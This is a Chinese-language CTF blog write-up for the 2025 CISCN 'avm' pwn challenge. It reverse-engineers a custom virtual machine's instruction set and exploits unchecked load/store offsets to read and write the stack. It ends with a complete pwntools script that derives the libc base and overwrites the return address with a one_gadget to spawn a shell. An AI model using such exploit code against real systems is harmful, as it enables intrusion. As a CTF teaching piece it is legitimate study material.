Zj_W1nd's BLOG

ciscn_ccb2025初赛-avm重做wp

2025/02/20

题目分析

逆向虚拟机结构

这道题目的虚拟机还算规整,从main函数开始看,从对虚拟机初始化的函数入手并结合代码执行的函数可以看出,整体的vm结构放在了bss,包括32个通用寄存器,rip,代码指针和代码大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct vm *__fastcall initvm(struct vm *mem, __int64 code, unsigned __int64 size)
{
struct vm *result; // rax
int i; // [rsp+24h] [rbp-4h]

mem->CS_code_start = code;
mem->code_size = size;
result = mem;
mem->RIP = 0LL;
for ( i = 0; i <= 31; ++i )
{
result = mem;
mem->regs[i] = 0LL;
}
return result;
}

虚拟机结构体如下:

1
2
3
4
5
6
7
00000000 struct vm // sizeof=0x118
00000000 { // XREF: .bss:vm/r
00000000 __int64 regs[32];
00000100 __int64 RIP;
00000108 __int64 CS_code_start;
00000110 unsigned __int64 code_size;
00000118 };

逆向指令集

这里复现的时候也头晕的不行,我们先看执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall execute(struct vm *vm)
{
unsigned int insn; // [rsp+1Ch] [rbp-114h]
_BYTE s[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+128h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 0, 0x100uLL);
while ( vm->RIP < vm->code_size )
{
insn = *(_DWORD *)(vm->CS_code_start + (vm->RIP & 0xFFFFFFFFFFFFFFFCLL)) >> 28;// rip指针四字节对齐
if ( insn > 0xA || !insn )
{
puts("Unsupported instruction");
return v4 - __readfsqword(0x28u);
}
((void (__fastcall *)(struct vm *, _BYTE *))funcs_1AAD[insn])(vm, s);
}
return v4 - __readfsqword(0x28u);
}

可以看到,虚拟机指令最终的执行是借助一个vtable实现的。逐一分析vtable里的函数就能还原指令的功能,包括add,sub等常见运算与两个关键的访存指令指令包含三个操作数和一个操作码。最高4位是操作数,限制为0-10,用于下标直接从vtable中索引操作。而其余三个操作数对于运算指令来说,分为最低5位,次5位和高字的低5位(16-20)。用5位数0-31来在32个通用寄存器中索引操作,第一操作数为5-9,第二操作数位16-20,第三操作数(结果寄存器)为0-4.

ps: 这里绕了我半天,每次看着看着就不记得哪个减哪个了,也不确定自己封装的对不对…

1
2
3
4
5
6
7
8
9
10
11
struct vm *__fastcall sub(struct vm *a1)
{
struct vm *result; // rax
unsigned int v2; // [rsp+10h] [rbp-10h]

v2 = *(_DWORD *)(a1->CS_code_start + (a1->RIP & 0xFFFFFFFFFFFFFFFCLL));
a1->RIP += 4LL;
result = a1;
a1->regs[v2 & 0x1F] = a1->regs[(v2 >> 5) & 0x1F] - a1->regs[HIWORD(v2) & 0x1F];
return result;
}

而两个访存指令则比较特别,对于load,其可以从一个指定地址加载8字节到一个通用寄存器。虚拟机运行指令时会在调用指令前的一个函数内分配一段空间并作为参数传入。这个指令也是三个操作数,不同的是会用一个寄存器做基地址,高字的低12位做偏移来针对a2做索引,然后结果放入结果寄存器。store则与其相反,参数规则一样,是将结果寄存器内容存入指定地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void *__fastcall load(struct vm *vm, char *a2)
{
void *result; // rax
unsigned __int16 v3; // [rsp+1Eh] [rbp-22h]
unsigned int cur_instruc; // [rsp+20h] [rbp-20h]

cur_instruc = *(_DWORD *)(vm->CS_code_start + (vm->RIP & 0xFFFFFFFFFFFFFFFCLL));
vm->RIP += 4LL;
result = (void *)(unsigned __int8)byte_4010;
if ( (unsigned __int8)(vm->regs[(cur_instruc >> 5) & 0x1F] + BYTE2(cur_instruc)) < (unsigned __int8)byte_4010 )
{
result = vm;
v3 = vm->regs[(cur_instruc >> 5) & 0x1F] + (HIWORD(cur_instruc) & 0xFFF);
vm->regs[cur_instruc & 0x1F] = ((unsigned __int64)(unsigned __int8)a2[v3 + 7] << 56) | ((unsigned __int64)(unsigned __int8)a2[v3 + 6] << 48) | ((unsigned __int64)(unsigned __int8)a2[v3 + 5] << 40) | ((unsigned __int64)(unsigned __int8)a2[v3 + 4] << 32) | ((unsigned __int64)(unsigned __int8)a2[v3 + 3] << 24) | ((unsigned __int64)(unsigned __int8)a2[v3 + 2] << 16) | *(unsigned __int16 *)&a2[v3];
}
return result;
}

漏洞分析

显然,访存指令的权限太大了。这个指令里的偏移能索引0xfff,也就是说我们能够在一个相当大范围的栈上任意读写。构造ROP或者直接ret2og都是可以的。不过这道题的难点是,他没有泄露,我们需要自己去凑libc地址,所以从栈上想办法找一个“好”的地址就成为了本题的关键。但比较恶心的是,可能由于aslr的存在,栈内部的偏移许多都是不固定的,因此这道题让我掌握了一个很宝贵的经验,也就是合理使用search+distance指令组合拳

另外有一个简单的点,由于0xfff实在太大了,我们可以load和store我们输入的code内容,也就是说基本是直球的栈上任意地址读写。

pwndbg好用捏

pwndbg为我们提供了轮椅为什么不用?调试过程中会以返回地址形式显示函数调用堆栈,我们可以直接找最近的libc内地址,直接search -t pointer,然后distance $rsi,就能看到需要多少的偏移。找一个不变的即可,比stack之后肉眼观察强太多了。

onegadget

这里og选取不是很容易,改完返回地址程序退出后rbp是0x1导致很多条件简单的og用不了,这个是直接从网上的wp copy的,实战过程中可以一个个试一试,指定-l 1之后其实也没有太多。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
from pwn import p32
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
context.log_level='debug'
context.arch='amd64'
elf = ELF("./pwn",checksec=False)
libc=elf.libc
p = process("./pwn")
# 4字节指令
# 32位
# 高四位是操作码,从0-10对应10个指令
# 低5位是一个寄存器
#
# 4 7 5 | 6 5 5

# 参数全部都是寄存器编号
# a op b -> c
def code(op,a,b,c):
return p32(((op & 0xF)<<28) + ((b & 0x1f)<<16) + ((a & 0x1f)<<5) + (c & 0x1f))

def add(a,b,result):
return code(1,a,b,result)

def sub(a,b,result):
return code(2,a,b,result)

def mul(a,b,result):
return code(3,a,b,result)

def div(a,b,result):
return code(4,a,b,result)

def xor(a,b,result):
return code(5,a,b,result)

def my_and(a,b,result):
return code(6,a,b,result)

def slr(a,b,result):
return code(7,a,b,result)

def shr(a,b,result):
return code(8,a,b,result)

#
def store(base,offset,content):
op = 0x9 << 28
off = (offset & 0xFFF) << 16
cont = content & 0x1F
b = (base & 0x1f) << 5
return p32(op + off + b + cont)

def load(base,offset,r):
op = 0xA << 28
off = (offset & 0xFFF) << 16
target = r & 0x1F
b = (base & 0x1f) << 5
return p32(op + off + b + target)

# 指令本身提供任意地址读写
# 因此需要找合适地址做写入,code就在栈上,偷地址出来然后试着改
# 一般这种题的思路都是先试og,不行再试试system
# 首先,先检查泄露,这道题没有任何输出内容,要泄露需要自己调puts,会很麻烦
#

# 这道题的核心是要想办法在寄存器凑出一个关键的写入地址
# 他妈的我的脑子就是绕不过来这个指令
# 哦,原来是在执行访存指令时会额外传入一个栈上的地址做偏移,我们相当于可以在栈上一个地址偏移0x100范围内操作
# 可以从栈上找好的地址

# search -t dword 0xa1200001
# distance $rsi 0xxxxxxxxx
# x /20gx $rebase(0x40c0) 检验
# 可以将寄存器写入我们的内容,0x120开始是我们的内容
# og是便宜,至少用一次sub?

# 思路:
# target写入code->读取到寄存器中备用
# 找一个libc地址->在我们的code里写入偏移->都读到寄存器里做sub出base->读入og->相加拿到og真实地址->将og写入target
# 好他妈的绕啊我操了 payload思路全有但是写着很费劲不知道怎么开始
# vm心魔??

# 想办法先算出libc真实的基地址存在一个寄存器里
# onegadget = 0x
# 读取目标写入内容(og的偏移放在3了)
# payload = load(0,0x120,1) + load(0,0x124,2) + add(1,2,3)
# 读取一个偏移

# 读取一个libc地址
# off: 0x29d90
# 常识:2.35的libc_start_main在栈上存储值偏移为0x29d90
one_gadget = 0x50a47
payload = load(0,0xd38,1) #哦我sb了读是读8字节
payload += load(0,0x140,9) + sub(1,9,4) # 4是libc的基地址
# 草拟吗,这个地址在wsl kali里也一直跳
# 算og
payload += load(0,0x138,8) + add(8,4,5) # 5为og真实值
# 写入
payload += store(0,0x118,5)

payload += p64(one_gadget) + p64(0x29d90)

p.recvuntil("opcode: ")
#gdb.attach(p)
p.send(payload)


p.interactive()
CATALOG
  1. 1. 题目分析
    1. 1.1. 逆向虚拟机结构
    2. 1.2. 逆向指令集
  2. 2. 漏洞分析
    1. 2.1. pwndbg好用捏
    2. 2.2. onegadget
  3. 3. exp